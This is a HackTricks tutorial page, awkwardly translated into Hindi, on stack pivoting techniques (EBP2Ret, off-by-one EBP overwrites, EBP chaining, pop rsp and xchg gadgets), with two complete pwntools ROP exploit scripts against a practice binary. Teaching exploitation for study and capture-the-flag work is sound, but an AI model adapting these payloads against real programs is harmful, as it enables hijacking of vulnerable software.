hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

15 KiB

स्टैक पाइवोटिंग - EBP2Ret - EBP चेनिंग

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

यह तकनीक बेस पॉइंटर (EBP) को मानिबंधन करने की क्षमता का शोषण करती है ताकि EBP रजिस्टर और leave; ret निर्देशिका क्रम का सावधान उपयोग करके कई फ़ंक्शनों के क्रमबद्ध निष्पादन को चेन किया जा सके।

एक अनुस्मारक के रूप में, leave मुख्य रूप से यह मतलब रखता है:

movl               %ebp, %esp
popl               %ebp
ret

और जैसे EBP स्टैक में है EIP से पहले, इसे नियंत्रित करना संभव है स्टैक को नियंत्रित करके।

EBP2Ret

यह तकनीक विशेष रूप से उपयोगी है जब आप EBP रजिस्टर को बदल सकते हैं लेकिन EIP रजिस्टर को सीधे तरीके से बदलने का कोई सीधा तरीका नहीं है। यह तकनीक फ़ंक्शन के व्यवहार का लाभ उठाती है जब वे कार्यान्वित होने के बाद।

यदि fvuln के कार्यान्वयन के दौरान आप स्टैक में एक फेक EBP डालने में सफल होते हैं जो आपके शेलकोड के पते के स्थान की ओर पोइंट करता है (पॉप कार्रवाई को लेने के लिए 4 बाइट को ध्यान में रखते हुए), तो आप EIP को अप्रत्यक्ष रूप से नियंत्रित कर सकते हैं। जब fvuln वापस लौटता है, तो ESP इस तैयार किए गए स्थान पर सेट किया जाता है, और आगामी pop कार्रवाई ESP को 4 से कम कर देती है, इसे वास्तव में उस स्थान पर पोइंट करने के लिए बनाने वाले अटैकर द्वारा रखा गया है।
ध्यान दें कि आपको 2 पते पता होना चाहिए: जहां ESP जाएगा, जहां आपको ESP द्वारा पोइंट किए गए पते को लिखना होगा।

शोषण निर्माण

सबसे पहले, आपको एक पता पता होना चाहिए जहां आप विचारात्मक डेटा / पते लिख सकते हैं। ESP यहाँ पोइंट करेगा और पहला ret चलाएगा

फिर, आपको ret द्वारा विचारात्मक कोड चलाने वाला पता पता होना चाहिए। आप इस्तेमाल कर सकते हैं:

  • एक मान्य ONE_GADGET पता।
  • system() का पता सहित 4 जंक बाइट और "/bin/sh" का पता (x86 बिट्स)।
  • jump esp; गैजेट का पता (ret2esp) जिसके बाद शेलकोड को चलाने के लिए।
  • कुछ ROP श्रृंखला

ध्यान दें कि नियंत्रित हिस्से के किसी भी पते से पहले, leave निर्देश के pop भाग के कारण 4 बाइट होने चाहिए। इन 4B का दुरुपयोग करना संभव होगा एक दूसरा नकली EBP सेट करने और कार्रवाई को नियंत्रित करना जारी रखने के लिए।

ऑफ-बाई-वन शोषण

इस तकनीक का एक विशेष वेरिएंट है जिसे "ऑफ-बाई-वन शोषण" के रूप में जाना जाता है। इसका उपयोग तब किया जाता है जब आप केवल EBP के कम significant बाइट को संशोधित कर सकते हैं। इस प्रकार, ret के साथ जाने के लिए पता रखने वाले मेमोरी स्थान को EBP के पहले तीन बाइट साझा करना चाहिए, जिससे अधिक संकुचित स्थितियों के साथ एक समान नियंत्रण के लिए संभावना हो।

EBP शेनिंग

इसलिए, स्टैक के EBP प्रविष्टि में एक नियंत्रित पता डालकर और EIP में leave; ret के लिए पता डालकर, यह संभव है कि ESP को स्टैक से नियंत्रित EBP पते पर ले जाया जा सके

अब, ESP नियंत्रित है जो एक इच्छित पते पर पोइंट कर रहा है और अगला कार्रवाई RET है। इसे दुरुपयोग करने के लिए, नियंत्रित ESP स्थान में यह डालना संभव है:

  • &(अगला नकली EBP) -> leave निर्देश से pop ebp के कारण नया EBP लोड करें
  • system() -> ret द्वारा कॉल किया जाएगा
  • &(leave;ret) -> सिस्टम समाप्त होने के बाद कॉल किया जाएगा, यह ESP को नकली EBP पर ले जाएगा और फिर से शुरू होगा
  • &("/bin/sh")-> system के लिए पैरामीटर

मूल रूप से इस तरह से कार्रवाई करने के लिए कई नकली EBPs को चेन करना संभव है कार्यक्रम के फ्लो को नियंत्रित करने के लिए।

सच कहूं, यह ret2lib की तरह है, लेकिन कोई प्रत्यक्ष लाभ नहीं है लेकिन कुछ एज-केस में दिलचस्प हो सकता है।

इसके अतिरिक्त, यहाँ आपको एक चुनौती का उदाहरण मिलता है जो इस तकनीक का उपयोग करता है एक स्टैक लीक को जीतने वाले फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP अनर्थक है

जैसा कि इस पोस्ट में स्पष्ट किया गया है, अगर कोई बाइनरी कुछ अनुकूलन के साथ कंपाइल किया गया है, तो EBP कभी ESP को नियंत्रित नहीं करता, इसलिए, EBP को नियंत्रित करके काम करने वाला कोई भी उत्पीड़न विफल हो जाएगा क्योंकि इसका कोई वास्तविक प्रभाव नहीं होता।
यह इसलिए है क्योंकि यदि बाइनरी को अनुकूलित किया गया है तो प्रोलॉग और एपिलॉग परिवर्तित हो जाते हैं

  • अनुकूलित नहीं:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • अनुकूलित:
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

RSP को नियंत्रित करने के अन्य तरीके

pop rsp गैजेट

इस पेज में आप इस तकनीक का उपयोग करके एक उदाहरण पा सकते हैं। इस चैलेंज के लिए 2 विशिष्ट तर्कों के साथ एक फ़ंक्शन को कॉल करने की आवश्यकता थी, और वहां एक pop rsp गैजेट था और स्टैक से एक लीक था:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <रैग>, rsp गैजेट

pop <reg>                <=== return pointer
<reg value>
xchg <rag>, rsp

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: